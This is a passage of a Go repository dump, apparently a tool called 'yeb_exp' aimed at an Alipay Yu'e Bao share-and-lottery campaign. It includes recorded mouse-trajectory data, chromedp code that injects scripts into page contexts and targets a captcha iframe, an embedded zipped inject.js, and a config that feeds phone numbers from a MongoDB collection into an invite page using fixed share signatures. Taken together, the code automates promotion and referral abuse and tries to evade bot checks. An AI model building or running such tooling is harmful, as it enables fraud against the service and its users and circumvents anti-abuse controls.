"y": 1, 315 | "t": 1156 316 | }, 317 | { 318 | "x": 271, 319 | "y": 1, 320 | "t": 1173 321 | }, 322 | { 323 | "x": 274, 324 | "y": 1, 325 | "t": 1190 326 | }, 327 | { 328 | "x": 278, 329 | "y": 1, 330 | "t": 1206 331 | }, 332 | { 333 | "x": 281, 334 | "y": 1, 335 | "t": 1223 336 | }, 337 | { 338 | "x": 284, 339 | "y": 1, 340 | "t": 1239 341 | }, 342 | { 343 | "x": 288, 344 | "y": 1, 345 | "t": 1257 346 | }, 347 | { 348 | "x": 293, 349 | "y": 1, 350 | "t": 1273 351 | }, 352 | { 353 | "x": 298, 354 | "y": 1, 355 | "t": 1290 356 | }, 357 | { 358 | "x": 303, 359 | "y": 1, 360 | "t": 1307 361 | }, 362 | { 363 | "x": 307, 364 | "y": 1, 365 | "t": 1323 366 | }, 367 | { 368 | "x": 310, 369 | "y": 1, 370 | "t": 1340 371 | }, 372 | { 373 | "x": 313, 374 | "y": 1, 375 | "t": 1356 376 | }, 377 | { 378 | "x": 316, 379 | "y": 1, 380 | "t": 1373 381 | }, 382 | { 383 | "x": 320, 384 | "y": 1, 385 | "t": 1390 386 | }, 387 | { 388 | "x": 327, 389 | "y": 1, 390 | "t": 1407 391 | }, 392 | { 393 | "x": 331, 394 | "y": 1, 395 | "t": 1423 396 | }, 397 | { 398 | "x": 335, 399 | "y": 1, 400 | "t": 1440 401 | }, 402 | { 403 | "x": 338, 404 | "y": 1, 405 | "t": 1456 406 | }, 407 | { 408 | "x": 341, 409 | "y": 1, 410 | "t": 1473 411 | }, 412 | { 413 | "x": 343, 414 | "y": 1, 415 | "t": 1489 416 | }, 417 | { 418 | "x": 347, 419 | "y": 2, 420 | "t": 1506 421 | }, 422 | { 423 | "x": 352, 424 | "y": 2, 425 | "t": 1523 426 | }, 427 | { 428 | "x": 357, 429 | "y": 2, 430 | "t": 1540 431 | }, 432 | { 433 | "x": 362, 434 | "y": 2, 435 | "t": 1557 436 | }, 437 | { 438 | "x": 366, 439 | "y": 2, 440 | "t": 1573 441 | }, 442 | { 443 | "x": 370, 444 | "y": 2, 445 | "t": 1589 446 | }, 447 | { 448 | "x": 376, 449 | "y": 2, 450 | "t": 1609 451 | }, 452 | { 453 | "x": 381, 454 | "y": 2, 455 | "t": 1623 456 | }, 457 | { 458 | "x": 387, 459 | "y": 2, 460 | "t": 1640 461 | }, 462 | { 463 | "x": 391, 464 | "y": 2, 465 | "t": 1656 466 | }, 467 | { 468 | "x": 395, 469 | "y": 2, 470 | "t": 1673 471 | }, 472 | { 473 | "x": 399, 474 | "y": 2, 475 | "t": 1690 476 | }, 477 | { 478 | "x": 403, 479 | "y": 2, 480 | "t": 1706 481 | }, 482 | { 483 | "x": 407, 484 | "y": 2, 485 | "t": 1723 486 | }, 487 | { 488 | "x": 411, 489 | "y": 2, 490 | "t": 1740 491 | }, 492 | { 493 | "x": 415, 494 | "y": 2, 495 | "t": 1756 496 | }, 497 | { 498 | "x": 417, 499 | "y": 2, 500 | "t": 1773 501 | }, 502 | { 503 | "x": 419, 504 | "y": 2, 505 | "t": 1789 506 | }, 507 | { 508 | "x": 424, 509 | "y": 2, 510 | "t": 1806 511 | }, 512 | { 513 | "x": 426, 514 | "y": 2, 515 | "t": 1823 516 | }, 517 | { 518 | "x": 428, 519 | "y": 2, 520 | "t": 1840 521 | }, 522 | { 523 | "x": 430, 524 | "y": 2, 525 | "t": 1857 526 | }, 527 | { 528 | "x": 433, 529 | "y": 2, 530 | "t": 1873 531 | }, 532 | { 533 | "x": 436, 534 | "y": 2, 535 | "t": 1890 536 | }, 537 | { 538 | "x": 439, 539 | "y": 2, 540 | "t": 1907 541 | }, 542 | { 543 | "x": 441, 544 | "y": 2, 545 | "t": 1923 546 | }, 547 | { 548 | "x": 443, 549 | "y": 2, 550 | "t": 1939 551 | }, 552 | { 553 | "x": 447, 554 | "y": 2, 555 | "t": 1956 556 | }, 557 | { 558 | "x": 451, 559 | "y": 2, 560 | "t": 1973 561 | }, 562 | { 563 | "x": 457, 564 | "y": 2, 565 | "t": 1990 566 | }, 567 | { 568 | "x": 461, 569 | "y": 2, 570 | "t": 2006 571 | }, 572 | { 573 | "x": 464, 574 | "y": 2, 575 | "t": 2023 576 | }, 577 | { 578 | "x": 468, 579 | "y": 2, 580 | "t": 2040 581 | }, 582 | { 583 | "x": 472, 584 | "y": 2, 585 | "t": 2056 586 | }, 587 | { 588 | "x": 476, 589 | "y": 2, 590 | "t": 2073 591 | }, 592 | { 593 | "x": 480, 594 | "y": 2, 595 | "t": 2089 596 | }, 597 | { 598 | "x": 484, 599 | "y": 2, 600 | "t": 2107 601 | }, 602 | { 603 | "x": 486, 604 | "y": 2, 605 | "t": 2123 606 | }, 607 | { 608 | "x": 488, 609 | "y": 2, 610 | "t": 2140 611 | }, 612 | { 613 | "x": 492, 614 | "y": 2, 615 | "t": 2156 616 | }, 617 | { 618 | "x": 498, 619 | "y": 2, 620 | "t": 2173 621 | }, 622 | { 623 | "x": 507, 624 | "y": 2, 625 | "t": 2190 626 | }, 627 | { 628 | "x": 511, 629 | "y": 2, 630 | "t": 2206 631 | }, 632 | { 633 | "x": 515, 634 | "y": 2, 635 | "t": 2223 636 | }, 637 | { 638 | "x": 518, 639 | "y": 2, 640 | "t": 2240 641 | }, 642 | { 643 | "x": 522, 644 | "y": 2, 645 | "t": 2256 646 | }, 647 | { 648 | "x": 528, 649 | "y": 2, 650 | "t": 2273 651 | }, 652 | { 653 | "x": 534, 654 | "y": 2, 655 | "t": 2290 656 | }, 657 | { 658 | "x": 539, 659 | "y": 2, 660 | "t": 2306 661 | }, 662 | { 663 | "x": 543, 664 | "y": 2, 665 | "t": 2323 666 | }, 667 | { 668 | "x": 547, 669 | "y": 2, 670 | "t": 2340 671 | }, 672 | { 673 | "x": 552, 674 | "y": 2, 675 | "t": 2356 676 | }, 677 | { 678 | "x": 556, 679 | "y": 2, 680 | "t": 2373 681 | }, 682 | { 683 | "x": 563, 684 | "y": 2, 685 | "t": 2390 686 | }, 687 | { 688 | "x": 566, 689 | "y": 2, 690 | "t": 2407 691 | }, 692 | { 693 | "x": 570, 694 | "y": 2, 695 | "t": 2423 696 | }, 697 | { 698 | "x": 575, 699 | "y": 2, 700 | "t": 2440 701 | }, 702 | { 703 | "x": 580, 704 | "y": 3, 705 | "t": 2456 706 | }, 707 | { 708 | "x": 581, 709 | "y": 4, 710 | "t": 2473 711 | }, 712 | { 713 | "x": 584, 714 | "y": 4, 715 | "t": 2489 716 | }, 717 | { 718 | "x": 586, 719 | "y": 4, 720 | "t": 2507 721 | }, 722 | { 723 | "x": 588, 724 | "y": 4, 725 | "t": 2522 726 | }, 727 | { 728 | "x": 590, 729 | "y": 4, 730 | "t": 2540 731 | }, 732 | { 733 | "x": 593, 734 | "y": 4, 735 | "t": 2556 736 | }, 737 | { 738 | "x": 597, 739 | "y": 4, 740 | "t": 2573 741 | }, 742 | { 743 | "x": 602, 744 | "y": 4, 745 | "t": 2589 746 | }, 747 | { 748 | "x": 603, 749 | "y": 4, 750 | "t": 2606 751 | }, 752 | { 753 | "x": 605, 754 | "y": 4, 755 | "t": 2623 756 | }, 757 | { 758 | "x": 610, 759 | "y": 5, 760 | "t": 2640 761 | }, 762 | { 763 | "x": 619, 764 | "y": 5, 765 | "t": 2656 766 | }, 767 | { 768 | "x": 630, 769 | "y": 5, 770 | "t": 2673 771 | }, 772 | { 773 | "x": 638, 774 | "y": 5, 775 | "t": 2690 776 | }, 777 | { 778 | "x": 643, 779 | "y": 5, 780 | "t": 2706 781 | }, 782 | { 783 | "x": 644, 784 | "y": 5, 785 | "t": 2723 786 | }, 787 | { 788 | "x": 644, 789 | "y": 726, 790 | "t": 2846 791 | } 792 | ] -------------------------------------------------------------------------------- /yeb_exp/util/chromeSession.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/chromedp/cdproto/cdp" 8 | "github.com/chromedp/cdproto/dom" 9 | "github.com/chromedp/cdproto/network" 10 | "github.com/chromedp/cdproto/page" 11 | "github.com/chromedp/cdproto/runtime" 12 | "github.com/chromedp/chromedp" 13 | "log" 14 | "strings" 15 | "time" 16 | ) 17 | 18 | type ChromeSession struct { 19 | finish context.CancelFunc 20 | executor cdp.Executor 21 | cdp *chromedp.CDP 22 | cookie string 23 | ctx context.Context 24 | user string 25 | pass string 26 | th *chromedp.TargetHandler 27 | needCapture bool 28 | err error 29 | captureInfo *TJson 30 | captureFrameNode *cdp.Node 31 | bigImg *[]byte 32 | smallImg *[]byte 33 | captchaFrameContextId runtime.ExecutionContextID 34 | uaCh chan string 35 | mobileCh <-chan string 36 | } 37 | 38 | func (ss *ChromeSession) handleEvent(evt chromedp.Evt) { 39 | //log.Println(fmt.Sprintf("%#v %#v", evt.Msg, evt.Evt)) 40 | //log.Println(evt.Msg.Method) 41 | switch e := evt.Evt.(type) { 42 | case *network.EventResponseReceived: 43 | ss.handReceiveResponse(e) 44 | case *network.EventRequestWillBeSent: 45 | ss.handRequestWillBeSent(e) 46 | case *runtime.EventConsoleAPICalled: 47 | ss.handConsoleAPICalled(e) 48 | case *page.EventFrameNavigated: 49 | ss.handleFrameNavigated(e) 50 | case *runtime.EventExecutionContextCreated: 51 | ss.handleContextCreated(e) 52 | } 53 | } 54 | 55 | // js 执行上下文被创建 56 | func (ss *ChromeSession) handleContextCreated(e *runtime.EventExecutionContextCreated) { 57 | aux := TJson{} 58 | json.Unmarshal(e.Context.AuxData, &aux) 59 | b := true 60 | if aux["isDefault"].(bool) { 61 | chromedp.Evaluate(StrReplace(GetAssetStr("/inject.js"), map[string]interface{}{ 62 | "[contextId]": e.Context.ID, 63 | "[frameId]": aux["frameId"], 64 | "[u]": ss.user, 65 | "[p]": ss.pass, 66 | }), &b, func(params *runtime.EvaluateParams) *runtime.EvaluateParams { 67 | return params. 68 | WithContextID(e.Context.ID). 69 | WithIncludeCommandLineAPI(true) 70 | }).Do(ss.ctx, ss.th) 71 | } 72 | } 73 | 74 | // iframe url 确定 75 | func (ss *ChromeSession) handleFrameNavigated(evt *page.EventFrameNavigated) { 76 | } 77 | 78 | func (ss *ChromeSession) getNodeBox(id cdp.NodeID) (x, y int64, box *dom.BoxModel, err error) { 79 | box, err = dom.GetBoxModel().WithNodeID(id).Do(ss.ctx, ss.th) 80 | if err != nil { 81 | return 82 | } 83 | c := len(box.Content) 84 | for i := 0; i < c; i += 2 { 85 | x += int64(box.Content[i]) 86 | y += int64(box.Content[i+1]) 87 | } 88 | x /= int64(c / 2) 89 | y /= int64(c / 2) 90 | return 91 | } 92 | 93 | // 搜索指定节点 94 | func matchBackendNodeId(node *cdp.Node, id cdp.BackendNodeID) *cdp.Node { 95 | if node.BackendNodeID == id { 96 | return node 97 | } 98 | if node.ChildNodeCount > 0 { 99 | if node.ContentDocument != nil { 100 | if match := matchBackendNodeId(node.ContentDocument, id); match != nil { 101 | return match 102 | } 103 | } 104 | for _, n := range node.Children { 105 | match := matchBackendNodeId(n, id) 106 | if match != nil { 107 | return match 108 | } 109 | } 110 | } 111 | return nil 112 | } 113 | 114 | // http 消息拦截 115 | func (ss *ChromeSession) handReceiveResponse(evt *network.EventResponseReceived) { 116 | if strings.Contains(evt.Response.URL, "https://promoprod.alipay.com/campaign/lotteryWithLogonInfo.json") { 117 | log.Println(ss.getResponseStr(evt.RequestID)) 118 | time.Sleep(1 * time.Second) 119 | //log.Println(<-ss.mobileCh) 120 | //var b bool 121 | //ss.cdp.Run(ss.ctx, chromedp.Evaluate(`location.reload()`, &b)) 122 | //ss.cdp.Run(ss.ctx, chromedp.Evaluate(`notifyChromedp('ua.ok', {ua: window.json_ua})`, &b)) 123 | } 124 | } 125 | 126 | func (ss *ChromeSession) getNodeInFrame(selector string) (cdp.NodeID, error) { 127 | if ss.captureFrameNode == nil { 128 | ro, _, e := (&runtime.EvaluateParams{ 129 | Expression: `document.querySelector('#tcaptcha_iframe')`, 130 | ReturnByValue: false, 131 | }). 132 | Do(ss.ctx, ss.th) 133 | LogErr(e) 134 | iframe, e := dom.DescribeNode().WithObjectID(ro.ObjectID).Do(ss.ctx, ss.th) 135 | LogErr(e) 136 | tree, e := dom.GetDocument().WithDepth(-1).WithPierce(true).Do(ss.ctx, ss.th) 137 | LogErr(e) 138 | // 搜索到iframe node 139 | ss.captureFrameNode = matchBackendNodeId(tree, iframe.BackendNodeID).ContentDocument.Children[1] 140 | } 141 | return dom.QuerySelector(ss.captureFrameNode.NodeID, selector).Do(ss.ctx, ss.th) 142 | } 143 | 144 | // 请求即将发送 145 | func (ss *ChromeSession) handRequestWillBeSent(evt *network.EventRequestWillBeSent) { 146 | } 147 | 148 | // console被调用, 用来通信 149 | func (ss *ChromeSession) handConsoleAPICalled(evt *runtime.EventConsoleAPICalled) { 150 | if evt.Type != "debug" || len(evt.Args) != 1 || evt.Args[0].Type != "string" { 151 | return 152 | } 153 | str := "" 154 | json.Unmarshal(evt.Args[0].Value, &str) 155 | //log.Println(str, strings.Index(str, "__notify__")) 156 | if strings.Index(str, "__notify__") == 0 { 157 | str = strings.Replace(str, "__notify__", "", 1) 158 | js := new(TJson) 159 | err := js.UnmarshalJSON([]byte(str)) 160 | if err == nil { 161 | ss.handleNotify(js) 162 | } 163 | } 164 | } 165 | 166 | // 页面传递消息回调 167 | func (ss *ChromeSession) handleNotify(js *TJson) { 168 | msg := *js 169 | if msg["type"].(string) == "ua.ok" { 170 | //ss.uaCh <- msg["data"].(map[string]interface {})["ua"].(string) 171 | m := <-ss.mobileCh 172 | log.Println(m) 173 | return 174 | var b bool 175 | time.Sleep(3 * time.Second) 176 | ss.cdp.Run(ss.ctx, chromedp.Evaluate(`document.querySelector('#ant-render-id-pages_outside_components_mobile_mobile > div > input').value=''`, &b)) 177 | ss.cdp.Run(ss.ctx, chromedp.SendKeys("#ant-render-id-pages_outside_components_mobile_mobile > div > input", m)) 178 | return 179 | time.Sleep(time.Second) 180 | ss.cdp.Run(ss.ctx, chromedp.Evaluate(fmt.Sprintf(`doSubmit('%s')`, m), &b)) 181 | } 182 | } 183 | 184 | // 获取响应文本 185 | func (ss *ChromeSession) getResponseStr(id network.RequestID) string { 186 | bin, err := network.GetResponseBody(id).Do(ss.ctx, ss.executor) 187 | if err != nil { 188 | return "" 189 | } 190 | return string(bin) 191 | } 192 | 193 | // 获取响应二进制数据 194 | func (ss *ChromeSession) getResponse(id network.RequestID) []byte { 195 | bin, err := network.GetResponseBody(id).Do(ss.ctx, ss.executor) 196 | if err != nil { 197 | return []byte{} 198 | } 199 | return bin 200 | } 201 | -------------------------------------------------------------------------------- /yeb_exp/util/getUa.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "context" 5 | "github.com/chromedp/cdproto/cdp" 6 | "github.com/chromedp/cdproto/network" 7 | "github.com/chromedp/chromedp" 8 | "log" 9 | ) 10 | 11 | func GetUa(ctx context.Context, link string, mobileCh <-chan string) (uaCh chan string) { 12 | uaCh = make(chan string) 13 | var err error 14 | // create context 15 | ctxt, cancel := context.WithCancel(ctx) 16 | 17 | // 启动 chrome 18 | c, err := chromedp.New(ctxt, chromedp.WithErrorf(func(s string, i ...interface{}) {})) 19 | if err != nil { 20 | log.Fatal(err) 21 | } 22 | ss := ChromeSession{ 23 | finish: cancel, 24 | executor: nil, 25 | cdp: c, 26 | cookie: "", 27 | ctx: ctxt, 28 | uaCh: uaCh, 29 | mobileCh: mobileCh, 30 | } 31 | 32 | // 事件监听 33 | c.Run(ctxt, network.Enable()) 34 | err = c.Run(ctxt, chromedp.ActionFunc(func(c context.Context, executor cdp.Executor) error { 35 | go func() { 36 | ss.executor = executor 37 | th := executor.(*chromedp.TargetHandler) 38 | ss.th = th 39 | Receive: 40 | for evt := range th.EvtCh { 41 | go ss.handleEvent(evt) 42 | select { 43 | case <-ctxt.Done(): 44 | break Receive 45 | default: 46 | } 47 | } 48 | }() 49 | return nil 50 | })) 51 | if err != nil { 52 | log.Println(err) 53 | return 54 | } 55 | 56 | go func() { 57 | defer cancel() 58 | // 分享页面 59 | err = c.Run(ctxt, chromedp.Navigate(link)) 60 | if err != nil { 61 | log.Println(err) 62 | return 63 | } 64 | <-ctxt.Done() 65 | 66 | // 关闭chrome 67 | err1 := c.Shutdown(ctxt) 68 | if err1 != nil { 69 | log.Println(err1) 70 | return 71 | } 72 | 73 | // 等待chrome关闭 74 | err1 = c.Wait() 75 | if err1 != nil { 76 | log.Println(err1) 77 | } 78 | }() 79 | return 80 | } 81 | -------------------------------------------------------------------------------- /yeb_exp/util/json.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "encoding/json" 5 | ) 6 | 7 | type TJson map[string]interface{} 8 | 9 | func (t *TJson) MarshalJSON() ([]byte, error) { 10 | return json.Marshal(*t) 11 | } 12 | func (t *TJson) UnmarshalJSON(data []byte) error { 13 | err := json.Unmarshal(data, (*map[string]interface{})(t)) 14 | return err 15 | } 16 | -------------------------------------------------------------------------------- /yeb_exp/util/statik/statik.go: -------------------------------------------------------------------------------- 1 | // Code generated by statik. DO NOT EDIT. 2 | 3 | // Package statik contains static assets. 4 | package statik 5 | 6 | import ( 7 | "github.com/rakyll/statik/fs" 8 | ) 9 | 10 | func init() { 11 | data := "PK\x03\x04\x14\x00\x08\x00\x08\x00J;0N\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00 \x00inject.jsUT\x05\x00\x01\x9c\xdc>\\\xacUMo\xdb0\x0c\xbd\xe7W\x10\xd8\xc1r\xe7:(\x86]2\xb8\x97u\x03:\xac\xeb!\xbb\x0d\x85\xa1Ht\xaa\xd5\x962\x89r\x17\xb4\xf9\xef\x83\x12\xd7\xf1W\xdb\x0d\x98\x0e\xb2\x94\xf7$\x92\x8f\x14\xe3\x90\xbe\xab\n\x8d'\xc6\n\xaf\x05)\xa3\x81\xad\x91>\xd5\xa8\xe9\xabr\x84\x1a\xad\x8b\xe1a\x06\x00`\x91\xbc\xd5pd>\x01a\xd4\xdc\x820\xbaPk\xc8:?\x87QX^\xe1\xa5\\@\xf4\xa3Y\xdeDI\x8f!\x8c&\xfcM\x07N\xbb\x19\xb2\xbcC\x1b\x08~\x08l\xb8s\x01\x08\xdf\x9b\xa8\x85v\xb3\xce\xfd\x85Z\xa7\xed\xcdp\x92\xc1\xd9\xac\x85\xdb\x88\xb4!Ul?\xdeZS\xa1\xdc0\xdan0\x01\xc9\x89\xc7\x83\x90\x84\xd1\xce\x94\x98J\\\xf95\x8b\xf2\xfcp2\xcf#x\x0b_\x96\xd7\xdfRGV\xe9\xb5*\xb6\xac\x7f\x12\xfa\xe1\x0e=KF\xe4\xe0\xc4b?\x8f\xb1\xe0\xdab?\x8f\xb1V\xf5\xc6D\xb3\xef\x13wq\xdc\xdb7)&\xeb\xb1#c\xbb\xbcWZ\x9a\xfb\xb4/\x13d\x03\xdd\xc6\xba\x1a\x8d\x02\x99\xb8Eq\xf7Y' V (MCQ\x95&\xc8\xf6\xf3\xe3#\x9c\xf5\xa0P]\xa4*\xb4\x90\x81C\xba\xd4\x84\xb6\xe6%\x9b\xae\xc5\xee\xa9p\xa21\xcc\xe2\x11C\x15\xc0\xec\xd4\xd10D\x89\xdc\xb6\xa6\xf6\xe6\xc77\xec\x89+6\x81\xec\x06JO\xd4e_\xa0\x0bSu5\x1a\xba\xb5\x7fa\xbc,QB\x06\x05/\x1d\x8e\xe0B\x07\xe8EMB\xc4\x87[\xe2&\xdb\x93\xb2IS\xbd*\x9c4\xd5\xb3\xd2=\xf9\xd9\xab\xa4\xee\x90F\xf8\n5\xa5\x16+Sc\xaf\xe3\xb0\xe8\xe2\xfaj\xe9Wd\x11\xaf\x8cT\x85B\x19%P\xe8g\xe5\x0f\xae\xbc\x96\x80\xde\xae5\xcf\xa5\xfcW\xdb\x9d\x07q(\xec\xe7\x15o\xdeS\xf3n~:\xa3s\xcf\x8f\x17%\x9dd\xf9Q\x93\x19t\xa3\xc8\xf3\xd4\xdcE \x9e\xf6\xe7\xef\xff~\xfd?\xe7\xeby~\xbc\xdf\xd5\xdd\xaa\xabA\xf5\xb2\xea\xb1\xa0:\xf2Ky|-_\x9d\xca\xb7\x95\x1f\x9a%\xa7\x94g\xa3azXy\xd20}Xy?P^\xfa\xe9H\xa6\x8e\x95#\x99ad\x12\xc9\xcc\x92\xf2\x8edV\xb3r$\xb3\xba\x95\xb3d\x96\x95\x0f\xd2\xe36\xcdt$s\xb4\x1c\xc9\x1c\x03Y\x8d\x86\x89f{\xad,\xac\xd7\xcfG\xd5D\xe8\xe7#\x9c\x08\xd3|\xf1\x89\n\xd3Y!\x9eH\xc39\x98O\xda)\x19(\x9dH\x9bg0\x9fn|\x06\x1bN7>\x83\xf9\x94I\x7fl\x9c\xa7L\xcc\x93\xf9\x0c\xb3\x85\xc9|\x86\x9d\xdc\x89g+\xd4\x18&\xf3\x99:\x0f\xf3Q'\x99\xac\x9fi\xfc\x17\xf3\x996\xffb>jU\x8b\xf9,\xd3\xf3\xe2\xf3\xb5L\xcf\x8b\xf9,\x9d\x9f\xf9l\xd3\xf3f>\xdb\xf4\xb6\x99\xcf1>\x9b\xf9\x1c\x9d\x87\xf9\x1c{\xbe\x9b\xf9\x1c;\xef\x1b\xcfW6{^\x07\xbf\xb9\xb2\xd9<\x07\xf9d\xb3y\x0e\xf2I\xf5\xe7\x83\xe7+\xd5o\x0f\xf2\xc9\xd4\xcf\xe7\xc8\xa3!&\x1a\n(\xd5\x10\xa3\xe17Xv\xdbA4FT\x1a\xf2\x1aj(\xcbGbHj\xa2\xd1\x98\x92\xbah\x04SR\x1b\x8d`\x1dM\xdd4\xe7\xe6\x9cv\x90#\x98\xd2\xd2Msx\xce\xe5\x9bfJ\xea]\x91Li\xebH\x1c\xa1s\xebH\x1c\xa2s\xfbH|\xde\xd4\xbf\x82\x83tj\x00\x0c\x8e\xd2]\x13`p\x98\xeeM\x9f4\xc7\xe9\x1e\xe6\xd9\xc1\x81\xba\xab)\x05G\xea\xae\xa918T\xf7\xf4\x91\x98R\xea\xa6\x8b)\xb9\x91\x15S\xd2\xf7\xb1(\xa6\xd4\xf5Is\xb6\xee\xfa\n\x17\x1c\xae{\xe9s(\xfcv\xebWz\xcc\xaf\x0d\x1c\xaf\xfbHm\x90\x97V_\x81)M_\x01O\\\xbf\x12\xde\xdd\xc0\x94\xae\xc8v70\xa5\xa5+\xcc\x86\x0d\x97/\xdd\x0dLi+%\x8e\xd9\xfd\xf8\n\xac\xa53\xb4\x81)]A\xe9n\xc0\x13W\x97/]\x0d\x1c\xb5\xab\xe9\xa69kW\xe8\xa69lW\xe8\xa69mW\xf8HH\xa9B)-\xd4ReY\x03\x07\xeeJ\x15\x1f'\xee\xca\xad\x0dL\xa9\xeby\xd8|U\xd4\xf5Is\xe8\xae\xee{`-u\xc5\xca\xb1\xbbJ\xa5\xc1\xb9\xbbJ\xf7p\xf8:\xcd\xad\xf2\xb0\x96\x86\x8f\xc4\x94\xdc*9{\xd7\xb4\x15\x92\xb3wM\x13_6\xa64MK\xc9\xd9\xbb\x96\xb9wr\xf6.\xf5\xd6\xe4\xec]\xdb\xd4\x9a\x8dO\xdc\xd6M\x07ki\xebH\x9c\xbdk+%\xce\xdeu\x94\x12g\xef:\xbe\x02_\xcf\xaa\xb7&g\xef\xa1\xde\x9a\x9c\xbd\x87zkr\xf6\x1e\xa1{H\xa44R)%R\x1a\xea|)\x97\xd8]\xa5\xc1\xd9{\xa8/egJj3\xc9\xd9{\xa8\xcd$g\xef\xa1\x89,9{\x8f\xa1\xf2\xe6\xec=\xa6\xef\x81)i\"K\xce\xdeC\x13Yr\xf6\x1eK\xc5\xc7\xd9{\\\xae\xd1\xaf\x06\xa6tE\xb8\xba\x1a\xe4\x07\x91\xd2\x06\xf4\xa5q\xd9\xcc\xd50\x98\xd2e3wC&5\\wow\x03S\xba^^\xef\x06\xa6t\x966 \xa5y]\xa7\xdd\x0dHi6\x1d\x89/\xb8g\x1b\xda\x80Z\x9a\xd7\xdb\xee\xb8\x1a\x90\xd2\xbc2\xdf\xdd\x80\x94f\xf7\x15\x98\xd2\xf5\xa6x7\xc8\xcfk\xdd\x1a8{\xcf*m`JW\xc3\xfa\x1bJ?[v}\xae\xf1\xfa\xf7g\x00\x00\x00\xff\xffPK\x07\x08m\xdd<8\x81\x03\x00\x00\xf8\x1d\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00J;0N\x05\x14o\"o\x02\x00\x00\x7f\x07\x00\x00 \x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00inject.jsUT\x05\x00\x01\x9c\xdc>\\PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x81j\x81Mm\xdd<8\x81\x03\x00\x00\xf8\x1d\x00\x00\x0e\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\xaf\x02\x00\x00mouseData.jsonUT\x05\x00\x01\x83\x8a\x02\\PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x85\x00\x00\x00u\x06\x00\x00\x00\x00" 12 | fs.Register(data) 13 | } 14 | -------------------------------------------------------------------------------- /yeb_exp/yeb_exp_init.go: -------------------------------------------------------------------------------- 1 | package yeb_exp 2 | 3 | import ( 4 | "context" 5 | "funny/spider_client" 6 | "funny/yeb_exp/util" 7 | "gopkg.in/mgo.v2" 8 | "time" 9 | ) 10 | 11 | type Config struct { 12 | MongoUrl, 13 | UserCollectionName, 14 | MobileColumn, 15 | DbName string 16 | InviteParam map[string]string 17 | ShareLink string 18 | mgo struct { 19 | session *mgo.Session 20 | user *mgo.Collection 21 | db *mgo.Database 22 | } 23 | } 24 | 25 | var appConfig Config 26 | var apiClient *spider_client.Client 27 | var appCtx context.Context = context.WithValue(context.Background(), "START", time.Now()) 28 | 29 | func config() { 30 | appConfig = Config{ 31 | MongoUrl: "mongodb://root:root@127.0.0.1:27017/admin", 32 | UserCollectionName: "user", 33 | MobileColumn: "_id", 34 | DbName: "yu_e_bao", 35 | InviteParam: map[string]string{ 36 | "campInfo": "p1j%2BdzkZl03BbvY4ClDID7%2FGiTlLCEEq0EmyB5yLfH2lIGLw2ZgnyTMSXAcf56tw", 37 | "bizType": "c2cShare", 38 | "shareId": "2088512116812823", 39 | "snsScene": "yebTrialFoundSns", 40 | "sign": "%2FQ5V8dp3ZBDbouaI1ISjaxAIzEkYnJ7osU3d8OQM1wI%3D", 41 | "_json_token": "undefined", 42 | }, 43 | ShareLink: "http://render.aa43z7.com/p/f/fd-jqqeh032/pages/outside/index.html?shareid=2088512116812823&sign=%2FQ5V8dp3ZBDbouaI1ISjaxAIzEkYnJ7osU3d8OQM1wI%3D", 44 | mgo: struct { 45 | session *mgo.Session 46 | user *mgo.Collection 47 | db *mgo.Database 48 | }{}, 49 | } 50 | s, err := mgo.Dial(appConfig.MongoUrl) 51 | if err != nil { 52 | panic(err) 53 | } 54 | s.SetMode(mgo.Monotonic, true) 55 | appConfig.mgo.session = s 56 | appConfig.mgo.db = s.DB(appConfig.DbName) 57 | appConfig.mgo.user = appConfig.mgo.db.C(appConfig.UserCollectionName) 58 | apiClient = spider_client.New(5, 5, 0, true) 59 | } 60 | 61 | func Init() { 62 | config() 63 | mobileCh := getUser() 64 | util.GetUa(appCtx, appConfig.ShareLink, mobileCh) 65 | select {} 66 | //uaCh := getJsonUa() 67 | //doCallApi(mobileCh, uaCh) 68 | } 69 | --------------------------------------------------------------------------------